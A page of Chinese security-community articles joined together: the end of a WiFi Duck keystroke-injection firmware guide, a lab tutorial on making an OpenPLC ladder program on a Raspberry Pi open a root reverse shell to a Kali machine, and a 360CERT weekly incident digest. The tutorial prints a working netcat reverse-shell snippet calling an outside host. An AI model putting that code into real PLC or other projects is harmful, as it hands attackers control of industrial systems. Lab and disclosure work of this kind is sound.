如想更新固件，可以通过Web界面进行更新。
转到192.168.4.1/info并上传新的.bin文件
**编译自定义固件**
修改esp8266_wifi_duck\html\files下的文件，然后打开 minifier.html 点击 "minify + byte-ify"转换格式，并替换掉 data.h 里面的内容
然后在Arduino IDE中打开 esp8266_wifi_duck.ino 点击 项目->验证/编译 再点击 项目->导出已编译的二进制文件
**9、制作过程视频（生肉）**
**10、参考资料**
<https://github.com/spacehuhn/wifi_ducky>
<https://github.com/basic4/WiDucky>
<http://www.cnblogs.com/k1two2/p/6849941.html>（文章末尾有网友"g0ttl"的演示作品） | 社区文章 |
# 用梯形图反弹一个PLC的shell
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
这次实验的目标是通过梯形图的编程，对外反弹一个PLC底层OS的shell连接外部Kali机器（也可以是VPS上Kali），而这次采用外部面包板上按钮来做触发。这次PLC仍然采用树莓派上运行OpenPLC来制作。
## 1、建立实验环境
这次已经准备好以下几项设备：
树莓派（硬件PLC 运行OpenPLC Runtime），IP：192.168.3.14
Window7虚拟机（运行OpenPLC编辑环境）， IP：192.168.3.3
Kali攻击机（渗透测试），IP：192.168.3.10
外围电路：面包板，LED灯，按钮和电线
## 2、编写一个梯形图和封装一个功能块
首先，我们打开OpenPLC编辑器，新建一个项目后，添加一个自定义功能块：
输入一个功能块的名字，这里为了明显，名字选择rsh_exec，同时编程语言选择ST（结构化语言“类似于Pascal”）
定义了功能块的输入和输出，同时写入一段反弹shell的ST的程序段
在ST编辑环境中输入以下这段程序：
IF (exe = TRUE) THEN
{system(“mknod /tmp/pipe p”);}
{system(“/bin/sh 0</tmp/pipe | nc 192.168.3.10 4444 1>/tmp/pipe”);}
done := TRUE;
return;
END_IF;
done := FALSE;
return;
## 3、在用户逻辑中调用这个功能块：
测试后，运行树莓派上OpenPLC的这段成程序，按下按钮后会反弹一个树莓派 Pi
OS的shell给外部Kali机器，同时会显示ID和hostname，并且是root权限。
注释：不是全部PLC都支持这种OS层的shell反弹，但是可以通过梯形图的组态，制作成基于所有PLC的自定义的功能码的shell反弹程序，如果有工控用户shell反弹防护技术和方法感兴趣可以联系工业安全红队IRTeam。 | 社区文章 |
# 安全事件周报（11.09-11.15）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
****____
## 0x01 事件导览
本周收录安全事件 `40` 项，话题集中在 `勒索软件` 、 `数据泄露` 方面，涉及的组织有： `X-Cart` 、 `Cencosud` 、 `EA
Games` 、 `Vertafore` 等。勒索事件频发，数据保护是企业安全防护的重中之重。对此，360CERT建议使用 `360安全卫士`
进行病毒检测、使用 `360安全分析响应平台` 进行威胁流量检测，使用 `360城市级网络安全监测服务QUAKE`
进行资产测绘，做好资产自查以及预防工作，以免遭受黑客攻击。
**恶意程序** | 等级
---|---
新的“Ghimob”恶意软件可以监视153个Android移动应用程序 | ★★★★★
ModPipe后门攻击了酒店行业使用的POS软件 | ★★★★★
RansomEXX勒索软件现在可以针对Linux系统 | ★★★★
勒索软件团伙入侵Facebook账户发布勒索广告 | ★★★★
Play Store被确定为大多数Android恶意软件的主要分发媒介 | ★★★★
Costarito APT：网络攻击者使用不知名恶意软件 | ★★★★
勒索软件攻击电子商务平台X-Cart | ★★★
勒索软件运营商使用伪造的微软团队更新部署Cobalt Strike | ★★★
恶意NPM项目窃取了浏览器信息和Discord帐户 | ★★★
Darkside勒索软件发起联盟计划 | ★★★
生物技术研究公司Miltenyi Biotec遭Mount Locker勒索软件攻击 | ★★★
零售业巨头Cencosud遭遇Egregor勒索软件攻击 | ★★★
Jupyter恶意软件窃取浏览器数据 | ★★★
新的TroubleGrabber恶意软件针对Discord用户 | ★★★
**数据安全** |
全球数百万酒店客人遭遇大规模数据泄露 | ★★★★★
Animal Jam儿童虚拟世界遭遇数据泄露，影响4600万用户 | ★★★★★
Vertafore数据泄露案曝光2770万德州司机信息 | ★★★★★
580万RedDoorz用户记录在黑客论坛上出售 | ★★★★
COVID-19数据共享应用泄露医护人员信息 | ★★★★
私人社交网络泄露的色情照片、视频和音频超过13万个 | ★★★★
ShinyHunters入侵冥王星电视服务，320万个账户被曝光 | ★★★★
Cobalt Strike工具包的反编译源代码在网上泄露 | ★★★
**网络攻击** |
黑客通过CVE-2020-14882漏洞攻击WebLogic服务器 | ★★★★
UVM健康网络遭受网络攻击，化疗预约功能受阻 | ★★★★
特朗普网站指称亚利桑那州选举舞弊曝光选民数据 | ★★★★
黑客从加密货币服务Akropolis窃取200万美元 | ★★★★
Microsoft Exchange攻击暴露了新的XUNT后门 | ★★★
攻击者使用图像反转技术绕过Office 365过滤机制 | ★★★
超过2800家电子商店运行过时的Magento软件 | ★★★
North Face网站遭遇了证书填充攻击 | ★★★
**其它事件** |
微软前工程师因盗窃1000万美元被判9年监禁 | ★★★★★
微软发布了112个安全漏的洞修复程序 | ★★★★★
Windows 10、iOS、Chrome、Firefox等在天府杯比赛中被安全人员攻破 | ★★★★
严重的权限提升漏洞导致Intel发布更新 | ★★★★
世界上最大的Android电视中发现严重漏洞 | ★★★★
Google解决了两个新的Chrome 0day漏洞 | ★★★★
Bug hunter因DOD账户接管漏洞获得“月度最佳研究员”奖 | ★★★
更新Windows 10以修补Microsoft Store游戏中的漏洞 | ★★★
EA Games的Origin客户端包含特权升级漏洞 | ★★★
现在修补的Ubuntu桌面漏洞允许权限提升 | ★★★
## 0x02 恶意程序
### 新的“Ghimob”恶意软件可以监视153个Android移动应用程序
日期: 2020年11月10日
等级: 高
作者: Catalin Cimpanu
标签: Android, Banking Trojan, Ghimob, Malware, Kaspersky
安全研究人员发现了一种新的Android银行木马，它可以从153个Android应用程序中窃取数据。
据安全公司卡巴斯基(Kaspersky)2020年11月9日发布的一份报告称，这款名为Ghimob的木马被认为是由Windows恶意软件Astaroth(Guildma)背后的同一个组织开发的。
卡巴斯基说，新的Android木马已经被打包在网站和服务器上的恶意Android应用程序中提供下载。
**详情**
[New ‘Ghimob’ malware can spy on 153 Android mobile
applications](https://www.zdnet.com/article/new-ghimob-malware-can-spy-on-153-android-mobile-applications/)
### ModPipe后门攻击了酒店行业使用的POS软件
日期: 2020年11月12日
等级: 高
作者: MartinSmolár
标签: ModPipe, POS, Backdoor, ESET, Modular
`ESET` 的研究人员发现了 `ModPipe` ，这是一个模块化的后门，可以让运营商访问存储在运行 `ORACLEMICROS`
餐厅企业系列（RES）3700POS的设备中的敏感信息，这是一个管理软件套件，被全球数十万家酒吧、餐厅、酒店和其他酒店机构使用。
后门的独特之处在于它的可下载模块及其功能。其中一个名为 `GetMicInfo` 的算法包含一个算法，通过从 `Windows`
注册表值中解密来收集数据库密码。这表明后门的作者对目标软件有很深的了解，他们选择了这种复杂的方法，而不是通过一个更简单但更明显的方法收集数据，如键盘记录。
**详情**
[Hungry for data, ModPipe backdoor hits POS software used in hospitality
sector](https://www.welivesecurity.com/2020/11/12/hungry-data-modpipe-backdoor-hits-pos-software-hospitality-sector/)
### RansomEXX勒索软件现在可以针对Linux系统
日期: 2020年11月09日
等级: 高
作者: Prajeet Nair
标签: Kaspersky, Linux, RansomEXX, Windows, Ransomware
卡巴斯基的研究人员发现了一个Linux版本的RansomEXX勒索软件，到目前为止它只针对Windows设备。
RansomEXX首次被安全研究人员发现是在2020年6月。根据卡巴斯基的报告，该勒索软件与最近针对德克萨斯州运输部(TexasDepartmentofTransportation)和柯尼卡美能达(KonicaMinolta)的攻击有关。
该恶意软件因攻击大型组织而臭名昭著，并且2020年初活跃度最高。
**详情**
[RansomEXX Ransomware Can Now Target Linux
Systems](https://www.databreachtoday.com/ransomexx-ransomware-now-target-linux-systems-a-15332)
### 勒索软件团伙入侵Facebook账户发布勒索广告
日期: 2020年11月11日
等级: 高
作者: Lawrence Abrams
标签: Facebook Account, Ragnar Locker, Ransomware, Extortion Ads, Ransom
一个勒索软件组织现在开始在Facebook上发布广告，向受害者施压，要求他们支付赎金。
2020年11月10日，RagnarLocker背后的勒索软件运营商又上了一个台阶，他们侵入了一个Facebook广告客户的账户，并创建了他们对
`CampariGroup` 攻击的广告。 被黑客入侵的 `Facebook` 帐户所有者 `ChrisHodson` 表示，在 `Facebook`
将其检测为欺诈活动之前，该广告已向7,000多个 `Facebook` 用户进行展示。
**详情**
[Ransomware gang hacks Facebook account to run extortion
ads](https://www.bleepingcomputer.com/news/security/ransomware-gang-hacks-facebook-account-to-run-extortion-ads/)
### Play Store被确定为大多数Android恶意软件的主要分发媒介
日期: 2020年11月11日
等级: 高
作者: Catalin Cimpanu
标签: Google, Android, Malware, Play Store
在最近的一项学术研究中，官方的Googleplay商店被认为是Android设备上安装恶意软件的主要来源，被认为是迄今为止进行的此类恶意软件中规模最大的一种。
研究人员使用NortonLifeLock（以前为Symantec）提供的遥测数据，分析了在2019年6月至2019年9月的四个月中，超过1200万台Android设备上应用程序安装的起源。
研究人员总共为790万个独特应用程序安装了超过3400万个APK（Android应用程序）。
研究人员表示，根据Android恶意软件的不同分类，他们分析的应用程序中有10％到24％可能被描述为恶意或不需要的应用程序。
**详情**
[Play Store identified as main distribution vector for most Android
malware](https://www.zdnet.com/article/play-store-identified-as-main-distribution-vector-for-most-android-malware/)
### Costarito APT：网络攻击者使用不知名恶意软件
日期: 2020年11月12日
等级: 高
作者: Pierluigi Paganini
标签: CostaRicto APT, South Asian, Blackberry, Undocumented Malware
`Blackberry` 的研究人员记录了一个名为 `CostaRicto`
的雇佣黑客组织的活动，该组织被发现使用一种以前没有记录过的恶意软件攻击南亚金融机构和全球娱乐公司。 在过去6个月里， `Blackberry`
研究和情报团队一直在监控一场网络间谍活动，目标是全球各地不同的受害者。BlackBerry将这一活动称为CostaRicto，它似乎是由雇佣黑客操纵的，这是一群聪明的雇佣黑客，他们拥有定制的恶意软件工具、复杂的VPN代理和SSH隧道挖掘能力。
**详情**
[Costaricto APT: Cyber mercenaries use previously undocumented
malware](https://securityaffairs.co/wordpress/110818/apt/costaricto-apt-cyber-mercenaries.html)
### 勒索软件攻击电子商务平台X-Cart
日期: 2020年11月09日
等级: 中
作者: Catalin Cimpanu
标签: X-Cart, Platform, Vulnerability
电子商务软件供应商X-Cart在10月底遭遇勒索软件攻击，导致该公司托管平台上托管的客户商店瘫痪。 据信，这起事件发生在攻击者利用第三方软件的漏洞获取对X-Cart商店托管系统的访问权之后。
X-Cart背后的公司卖方实验室营销副总裁杰夫·科恩（JeffCohen）表示他们已经确定了漏洞，但在他们的安全公司确认之前不希望透露该名称。
杰夫科恩说，攻击者访问了少量服务器，并对其进行了加密，摧毁了在受影响系统上运行的X-Cart商店。一些商店完全瘫痪了，而另一些商店则报告了发送电子邮件警报的问题。
**详情**
[Ransomware hits e-commerce platform
X-Cart](https://www.zdnet.com/article/ransomware-hits-e-commerce-platform-x-cart/)
### 勒索软件运营商使用伪造的微软团队更新部署Cobalt Strike
日期: 2020年11月10日
等级: 中
作者: Pierluigi Paganini
标签: Cobalt Strike, Ransomware, Microsoft Updates, Cobalt Strike
勒索软件运营商正在使用恶意的虚假 `MicrosoftTeams` 更新来提供后门程序，这些后门程序会安装 `CobaltStrike`
利用工具并破坏目标网络。 由于COVID-19的大流行，迫使越来越多的组织和企业使用视频会议，而攻击者正试图利用这一点。
该技术不是新技术，攻击者已经在野外攻击中加以利用。在2019年，DoppelPaymer勒索软件运营商使用此技巧在2019年将目标锁定为Microsoft用户。2020年，WastedLocker运营商通过使用多状态攻击链并使用签名的二进制文件来逃避检测，从而发展了该技术。
**详情**
[Ransomware operators use fake Microsoft Teams updates to deploy Cobalt
Strike](https://securityaffairs.co/wordpress/110693/malware/fake-microsoft-teams-cobalt-strike.html)
### 恶意NPM项目窃取了浏览器信息和Discord帐户
日期: 2020年11月10日
等级: 中
作者: Pierluigi Paganini
标签: Sonatype, Malicious NPM, Discord accounts, Discord.dll
Sonatype研究人员 `AxSharma` 发现了一个名为 `discord.dll` 的 `npm` 软件包，其中包含从用户浏览器和
`Discord` 应用程序中窃取敏感文件的恶意代码。 恶意JavaScript库已上传到npm数据包存储库，并且已被删除。
discord.dll项目已经可以在NPM门户上使用五个月，并且已被开发人员下载了一百次。
Sonatype研究人员报告，一旦安装，恶意discord.dll将运行恶意代码搜索开发人员的计算机为某些应用程序，然后检索他们内部的LevelDB数据库。
**详情**
[Malicious NPM project steals browser info and Discord
accounts](https://securityaffairs.co/wordpress/110705/hacking/malicious-npm-project-discord-dll.html)
### Darkside勒索软件发起联盟计划
日期: 2020年11月12日
等级: 中
作者: Mathew J. Schwartz
标签: Darkside, Cybercrime Forums, Affiliate Program, Ransomware
使用联营企业可以实现众包利润，但也会让运营商面临更多风险，Darkside勒索软件团伙最近宣布，它推出了一个联盟计划，作为其努力实现收入最大化的一部分。
据以色列网络威胁情报监测公司 `Kela` 报道，最近几天， `Darkside` 背后的运营商已进入 `XSS` 和 `Exploit`
这两个主要的俄语网络犯罪论坛，以宣布其新会员计划的详细信息。 对于每一个支付赎金的受害者，附属公司与勒索软件运营商分享所得。
**详情**
[Darkside Ransomware Gang Launches Affiliate
Program](https://www.databreachtoday.com/blogs/darkside-ransomware-gang-launches-affiliate-program-p-2968)
### 生物技术研究公司Miltenyi Biotec遭Mount Locker勒索软件攻击
日期: 2020年11月14日
等级: 中
作者: Pierluigi Paganini
标签: Miltenyi Biotec, Mount Locker, Ransomware, Biotech
生物技术研究公司MiltenyiBiotec遭受了勒索软件攻击，该勒索软件攻击于10月发生，并影响了其全球IT基础设施。
MiltenyiBiotec是一家全球生物技术公司，总部位于德国科隆，提供的产品和服务可为科学家，临床研究人员和医师提供基础研究，转化研究和临床应用方面的支持。
该公司宣布，在袭击发生后，它已完全恢复了系统，但是在某些国家，地区，本地员工仍面临邮件和电话系统的问题。
**详情**
[Biotech research firm Miltenyi Biotec hit by Mount Locker
ransomware](https://securityaffairs.co/wordpress/110900/malware/miltenyi-biotec-ransomware-attack.html)
### 零售业巨头Cencosud遭遇Egregor勒索软件攻击
日期: 2020年11月14日
等级: 中
作者: Lawrence Abrams
标签: Cencosud, Egregor, Ransomware, Cyberattack
总部位于智利的跨国零售公司Cencosud遭受了Egregor勒索软件行动的网络攻击，影响了商店的服务。
Cencosud是拉丁美洲最大的零售公司之一，拥有超过14万名员工，2019年收入150亿美元。
2020年11月14日，Cencosud遭到勒索软件攻击，加密了整个零售店的设备，影响了公司的运营。阿根廷出版商Clarín称，零售店仍在营业，但一些服务受到影响。
**详情**
[Retail giant Cencosud hit by Egregor Ransomware attack, stores
impacted](https://www.bleepingcomputer.com/news/security/retail-giant-cencosud-hit-by-egregor-ransomware-attack-stores-impacted/)
### Jupyter恶意软件窃取浏览器数据
日期: 2020年11月13日
等级: 中
作者: Ionut Ilascu
标签: Jupyter, Malware, Browser, Backdoor
俄国黑客一直在使用一种新的恶意软件来从受害者中窃取信息。该恶意软件为 `Jupyter` ，他的威胁一直没有受到重视，并受益于快速的开发周期。
虽然Jupyter的目的是收集各种软件的数据，但支持其传输的恶意代码也可以用来在受感染的系统上创建后门。
2019年10月，在美国一所大学的事件响应活动中出现了该恶意软件的变体，但数据表明，早前版本从5月就已开发出来。
网络安全公司Morphisec的研究人员发现，攻击套件的开发者非常活跃，有些组件在一个月内收到了9次以上的更新。
**详情**
[New Jupyter malware steals browser data, opens
backdoor](https://www.bleepingcomputer.com/news/security/new-jupyter-malware-steals-browser-data-opens-backdoor/)
### 新的TroubleGrabber恶意软件针对Discord用户
日期: 2020年11月13日
等级: 中
作者: Pierluigi Paganini
标签: TroubleGrabber, Netskope, Discord, Malware
`Netskope` 安全研究人员发现了一种名为 `TroubleGrabber` 的盗取身份认证的恶意软件，这种恶意软件通过 `Discord`
附件传播，并使用 `Discord` 的网络 `hook` 将窃取的数据传输给运营商。 该恶意软件具有与其他针对 `Discord游戏玩家的恶意软件（例如`
AnarchyGrabber`）所使用的相同功能，但它似乎是不同攻击者的工作。TroubleGrabber由名为“Itroublve”的人开发，目前被多个攻击者使用。
**详情**
[New TroubleGrabber malware targets Discord
users](https://securityaffairs.co/wordpress/110887/malware/troublegrabber-discord-malware.html)
### **相关安全建议**
1. 在网络边界部署安全设备，如防火墙、IDS、邮件网关等
2. 不盲目信任云端文件及链接
3. 包括浏览器、邮件客户端、vpn、远程桌面等在内的个人应用程序，应及时更新到最新版本
4. 及时对系统及各个服务组件进行版本升级和补丁更新
5. 网段之间进行隔离，避免造成大规模感染
6. 勒索中招后，应及时断网，并第一时间联系安全部门或公司进行应急处理
7. 注重内部员工安全培训
8. 不轻信网络消息，不浏览不良网站、不随意打开邮件附件，不随意运行可执行程序
## 0x03 数据安全
### 全球数百万酒店客人遭遇大规模数据泄露
日期: 2020年11月09日
等级: 高
作者: Tara Seals
标签: S3, Cloud, Amazon Bucket, Hotel, Data Breach
一个被广泛使用的酒店预订平台已经曝光了世界各地不同酒店的1000万份与客人相关的文件，这是由于一个错误配置的AmazonWebServicesS3bucket。这些记录包括敏感数据，包括信用卡细节。
酒店使用 `PrestigeSoftware` 的 `CloudHospitality`
将其预订系统与在线预订网站（如Expedia和Booking.com）集成。
Planet安全团队称，该事件影响了总计24.4GB的数据。许多记录包含单个预订将多个酒店客人分组在一起的数据，因此，研究人员说，暴露的人数很可能超过1000万。
**详情**
[Millions of Hotel Guests Worldwide Caught Up in Mass Data
Leak](https://threatpost.com/millions-hotel-guests-worldwide-data-leak/161044/)
### Animal Jam儿童虚拟世界遭遇数据泄露，影响4600万用户
日期: 2020年11月11日
等级: 高
作者: Lawrence Abrams
标签: Animal Jam, WildWorks, Data Breach, Virtual World, Hacker Forum
`AnimalJam` 是 `WildWorks`
创建的虚拟世界，孩子们可以在这里和其他成员一起玩在线游戏。AnimalJam面向7至11岁的儿童用户，由儿童创造的动物角色超过3亿，每1.4秒就会有新玩家注册。
2020年11月10日，一个攻击者在一个黑客论坛上免费共享了两个属于 `AnimalJam` 的数据库，他们说这些数据库是由知名网站黑客
`ShinyHunters` 获得的。 这两个被盗的数据库名为 `game_accounts` 和 `users` ，包含约4600万被盗用户记录。
**详情**
[Animal Jam kids’ virtual world hit by data breach, impacts 46M
accounts](https://www.bleepingcomputer.com/news/security/animal-jam-kids-virtual-world-hit-by-data-breach-impacts-46m-accounts/)
### Vertafore数据泄露案曝光2770万德州司机信息
日期: 2020年11月13日
等级: 高
作者: Catalin Cimpanu
标签: Vertafore, Texas, Data Breach, Without Authorization
保险软件提供商 `Vertafore` 2020年11月13日披露了一起数据泄露事件，承认第三方获取了2770万德克萨斯州司机的详细信息。
这起事件发生在3月11日，由于人为错误，三个数据文件意外存储在一个不安全的外部存储服务中。
Vertafore表示，这些文件于8月1日从外部存储系统中删除，但经过调查，他们发现这些文件在未经授权的情况下被访问。
**详情**
[Info of 27.7 million Texas drivers exposed in Vertafore data
breach](https://www.zdnet.com/article/info-of-27-7-million-texas-drivers-exposed-in-vertafore-data-breach/)
### 580万RedDoorz用户记录在黑客论坛上出售
日期: 2020年11月10日
等级: 高
作者: Lawrence Abrams
标签: RedDoorz, User Records, Hacking Forum, Sale
在9月份遭遇数据泄露后，一名攻击者正在一个黑客论坛上出售一个包含580万条用户记录的RedDoorz数据库。RedDoorz是一家位于新加坡的酒店管理和预订平台，在东南亚拥有超过1000家酒店。通过网站或手机应用，用户可以注册一个账户，浏览可用的经济型酒店并预订。
2020年9月底，RedDoorz披露，由于一名未经授权的人访问了他们的一个数据库，他们遭受了数据泄露。不过，当时据其所知， `RedDoorz`
的财务信息或密码都没有被泄露。 攻击者2020年11月9日开始销售包含580万用户记录的数据库，该记录在RedDoorz数据泄露期间被盗。
**详情**
[5.8 million RedDoorz user records for sale on hacking
forum](https://www.bleepingcomputer.com/news/security/58-million-reddoorz-user-records-for-sale-on-hacking-forum/)
### COVID-19数据共享应用泄露医护人员信息
日期: 2020年11月11日
等级: 高
作者: Elizabeth Montalbano
标签: COVID-19, Data Leak, Philippines, Vulnerability, COVID-KAYA
菲律宾医护人员使用的一个共享COVID-19病例数据的平台包含多个漏洞，暴露了医护人员的数据，可能泄露了患者数据。
根据多伦多大学CitizenLab研究人员的报告，COVID-KAYA平台的网络和Android应用程序中都存在漏洞，未经授权的用户可以访问有关该平台用户的私人数据以及潜在的患者数据。 COVID-KAYA于6月2日部署，使菲律宾的一线医疗人员能够自动收集和与该国卫生部共享冠状病毒病例信息。该应用程序具有Web，iOS和Android版本，并使用Cordova（跨平台应用程序开发框架）构建，该框架允许开发人员使用Web技术构建应用程序，然后将相同的代码部署到Web和移动平台。
**详情**
[COVID-19 Data-Sharing App Leaked Healthcare Worker
Info](https://threatpost.com/covid-19-data-leaked-healthcare-worker-info/161108/)
### 私人社交网络泄露的色情照片、视频和音频超过13万个
日期: 2020年11月11日
等级: 高
作者: Bernard Meyer
标签: CyberNews, Leaked, Database, Bucket, Photo, Covid-19
网络新闻调查小组最近发现了一个不安全的数据库，其中包含13万多张极其敏感、非常露相的私人照片、视频和录音。
该数据库似乎属于一个私人社交网络，很有可能是在中国。 幸运的是，在 `cybernews`
第一次联系亚马逊两天后，也就是11月6日，亚马逊关闭了这个不安全的存储 `bucket` 。
**详情**
[130k+ extremely NSFW sexual photos, video and audio leaked by ‘private social
network’](https://cybernews.com/security/130k-nsfw-photos-video-audio-leaked-private-social-network/)
### ShinyHunters入侵冥王星电视服务，320万个账户被曝光
日期: 2020年11月15日
等级: 高
作者: Pierluigi Paganini
标签: Pluto TV, ShinyHunters, Accounts, Television Service
一名黑客在一个黑客论坛上免费分享了320万冥王星电视用户账户，他声称这些账户是被ShinyHunters的攻击者窃取的。
冥王星电视是美国的互联网电视服务，它是广告商支持的视频点播（AVOD）服务，主要通过旨在模拟传统广播节目体验的数字线性频道提供一系列节目内容。该服务有超过2800万会员。
数据泄露似乎是由著名的攻击者ShinyHunters的工作造成的，后者是许多其他安全漏洞的背后原因，其中包括微软私有GitHub存储库，流行的数字银行应用
`Dave.com` 和 `AnimalJam` 的黑客入侵。
**详情**
[ShinyHunters hacked Pluto TV service, 3.2M accounts
exposed](https://securityaffairs.co/wordpress/110931/data-breach/pluto-tv-database-shinyhunters.html)
### Cobalt Strike工具包的反编译源代码在网上泄露
日期: 2020年11月11日
等级: 中
作者: Pierluigi Paganini
标签: Cobalt Strike, GitHub, Source Code, Leaked
CobaltStrike开发后工具包的反编译源代码据称已经在GitHub的一个资源库中在线泄露。
CobaltStrike是一个合法的渗透测试工具包和威胁仿真软件，允许攻击者在受损害的设备上部署 `payloads` ，称为 `beacons`
，以远程创建 `shell` ，执行 `PowerShell` 脚本，执行权限升级，或生成一个新的会话，以在受害系统上创建侦听器。
CobaltStrike被广泛应用于攻击者，他们使用破解版本获得对目标网络的持久远程访问。
**详情**
[The alleged decompiled source code of Cobalt Strike toolkit leaked
online](https://securityaffairs.co/wordpress/110782/hacking/cobalt-strike-source-code.html)
### **相关安全建议**
1. 管控内部员工数据使用规范，谨防数据泄露并及时做相关处理
2. 对于托管的云服务器(VPS)或者云数据库，务必做好防火墙策略以及身份认证等相关设置
3. 敏感数据建议存放到http无权限访问的目录
4. 及时备份数据并确保数据安全
5. 发生数据泄漏事件后，及时进行密码更改等相关安全措施
6. 条件允许的情况下，设置主机访问白名单
7. 建议加大口令强度，对内部计算机、网络服务、个人账号都使用强口令
## 0x04 网络攻击
### 黑客通过CVE-2020-14882漏洞攻击WebLogic服务器
日期: 2020年11月09日
等级: 高
作者: GURUBARAN S
标签: Oracle WebLogic Servers, Cobalt Strike, Vulnerability, Crypto-Mining
攻击者正在通过CVE-2020-14882漏洞利用OracleWebLogicServer安装CobaltStrike，该漏洞允许攻击者对受感染设备的持久远程访问。
除了漏洞的扫描外，还发现有少数攻击者尝试安装加密货币挖掘工具。
由于CVE-2020-14882和CVE-2020-14750很容易被未经身份验证的攻击者利用来接管存在漏洞的WebLogic服务器，Oracle建议公司立即应用安全更新来阻止攻击。
目前 `Weblogic` 在全球均有分布，具体分布如下图，数据来自于 `360 QUAKE`
**详情**
[Hackers Attacking WebLogic Servers via CVE-2020-14882
Flaw](https://gbhackers.com/weblogic-servers-flaw/)
### UVM健康网络遭受网络攻击，化疗预约功能受阻
日期: 2020年11月09日
等级: 高
作者: Lindsey O'Donnell
标签: University of Vermont, Cyberattack, Hospital
佛蒙特大学(UniversityofVermont)的医疗网络正在忙着恢复自己的系统，此前，一场网络攻击导致病患预约普遍延迟，包括化疗预约、乳房x光检查和活检预约。
UVM健康网络是一个六家医院、家庭健康和临终关怀系统，包括在佛蒙特州和纽约北部的1000多名医生、2000名护士和其他临床医生。
据当地报道，此次网络攻击始于10月25日的那一周，UVM医疗中心受到的攻击最为严重。报道说，攻击通过医院的主计算机服务器，影响了整个系统。
**详情**
[Cyberattack on UVM Health Network Impedes Chemotherapy
Appointments](https://threatpost.com/cyberattack-uvm-health-network/161059/)
### 特朗普网站指称亚利桑那州选举舞弊曝光选民数据
日期: 2020年11月09日
等级: 高
作者: Becky Bracken
标签: Arizona, SQL Injection, Trump
在亚利桑那州，一个用来收集当面投票欺诈证据的网站存在安全漏洞，这将为SQL注入和其他攻击打开大门。 这个漏洞是在特朗普竞选团队创建的
`dontpressthegreenbutton.com` 网站上发现的，是由网络安全专家托德·罗辛(ToddRossin)意外发现的。
有人使用SQL注入提取姓名、地址、出生日期和社会保险号的最后四个数字。
**详情**
[Trump Site Alleging AZ Election Fraud Exposes Voter
Data](https://threatpost.com/trump-site-alleging-az-election-fraud-exposes-voter-data/161068/)
### 黑客从加密货币服务Akropolis窃取200万美元
日期: 2020年11月13日
等级: 高
作者: Catalin Cimpanu
标签: Akropolis, Steals, Dai, Cryptocurrency
加密货币借贷服务公司 `Akropolis` 称，黑客对其平台进行了 `flashloan` 攻击，并偷走了价值约200万美元的Dai加密货币。
攻击发生在2020年11月12日下午（格林尼治标准时间时区），Akropolis管理员暂停了平台上的所有交易，以防止进一步损失。
Akropolis说，虽然它聘请了两家公司来调查这一事件，但两家公司都无法查明利用该攻击的攻击载体。 对于运行DeFi（去中心化金融）平台的加密货币服务，
`Flashloan` 攻击已变得很普遍，该服务允许用户使用加密货币借入或借出，推测价格变化并在类似加密货币储蓄的帐户中赚取利息。
**详情**
[Hacker steals $2 million from cryptocurrency service
Akropolis](https://www.zdnet.com/article/hacker-steals-2-million-from-cryptocurrency-service-akropolis/)
### Microsoft Exchange攻击暴露了新的XUNT后门
日期: 2020年11月09日
等级: 中
作者: Lindsey O'Donnell
标签: Powershell, Kuwait, Microsoft Exchange, Backdoors, xHunt, TriFive
在最近，研究人员在科威特一家组织发现了对MicrosoftExchange服务器的攻击，发现了两个从未见过的Powershell后门。 该活动与已知的
`xHunt` 威胁组织有关，该组织于2018年首次被发现，此前曾针对科威特政府以及航运和运输组织发动了一系列攻击。
这次攻击使用了两种新发现的后门:一种被研究人员称为TriFive，另一种是之前发现的基于powershell的后门的变种(被称为CASHY200)，他们称之为Snugy。
**详情**
[Microsoft Exchange Attack Exposes New xHunt
Backdoors](https://threatpost.com/microsoft-exchange-attack-xhunt-backdoors/161041/)
### 攻击者使用图像反转技术绕过Office 365过滤机制
日期: 2020年11月10日
等级: 中
作者: GURUBARAN S
标签: Microsoft, Office 365, Bypass, Image Inversion
KimKomando说，WMCGlobalAnalysis研究人员发现了一个创造性的Office365网络钓鱼活动，该活动是Microsoft帐户的合法登录页面，但使用了颜色反转以避免图像识别软件中的图案匹配。
随着图像识别软件的不断改进和准确性的不断提高，这项新技术旨在通过颠倒图像的颜色来误导扫描引擎，导致图像哈希值与原始图像不同。
**详情**
[Attackers Using Image Inversion Technique to Bypass Office 365
Filtering](https://gbhackers.com/image-inversion-technique/)
### 超过2800家电子商店运行过时的Magento软件
日期: 2020年11月11日
等级: 中
作者: The Hacker News
标签: Magento, Magecart, Software, Cyberattacks
最新研究显示，2020年9月初，针对运行Magento1.x电子商务平台的零售商的网络攻击浪潮被归为一个黑客组织。
该组织已经进行了多种多样的Magecart攻击，这些攻击通常通过诸如Adverline事件之类的供应链攻击，或通过利用利用诸如9月Magento攻击之类的漏洞一次入侵大量网站。
这些被称为Cardbleed的攻击针对了至少2806家运行Magento1.x的在线商店。
**详情**
[Over 2800 e-Shops Running Outdated Magento Software Hit by Credit Card
Hackers](https://thehackernews.com/2020/11/over-2800-e-shops-running-outdated.html)
### North Face网站遭遇了证书填充攻击
日期: 2020年11月15日
等级: 中
作者: Pierluigi Paganini
标签: The North Face, Credential Stuffing Attack, Outdoor, Phishing, Data Breaches
户外用品零售巨头 `TheNorthFace` 在10月8日和9日成功进行了一次伪造凭证的攻击后，迫使一些客户重新设置了密码。
凭据填充攻击涉及僵尸网络来尝试通常通过网络钓鱼攻击和数据泄露获得的被盗登录凭据。由于用户习惯于在多个服务上重用相同的密码，因此这种攻击非常有效。
这些攻击者能够访问几位客户的账户和相关的个人信息，攻击者将其注册到enorthface.com网站上。
**详情**
[The North Face website suffered a credential stuffing
attack](https://securityaffairs.co/wordpress/110952/data-breach/the-north-face-credential-stuffing.html)
### **相关安全建议**
1. 做好资产收集整理工作，关闭不必要且有风险的外网端口和服务，及时发现外网问题
2. 积极开展外网渗透测试工作，提前发现系统问题
3. 做好产品自动告警措施
4. 及时对系统及各个服务组件进行版本升级和补丁更新
5. 及时检查并删除外泄敏感数据
6. 强烈建议数据库等服务放置在外网无法访问的位置，若必须放在公网，务必实施严格的访问控制措施
## 0x05 其它事件
### 微软前工程师因盗窃1000万美元被判9年监禁
日期: 2020年11月10日
等级: 高
作者: Campbell Kwan
标签: Microsoft, Engineer, Prison, Stealing, Volodymyr Kvashuk
一名前微软软件工程师因从公司盗窃超过1000万美元被判有期徒刑9年。
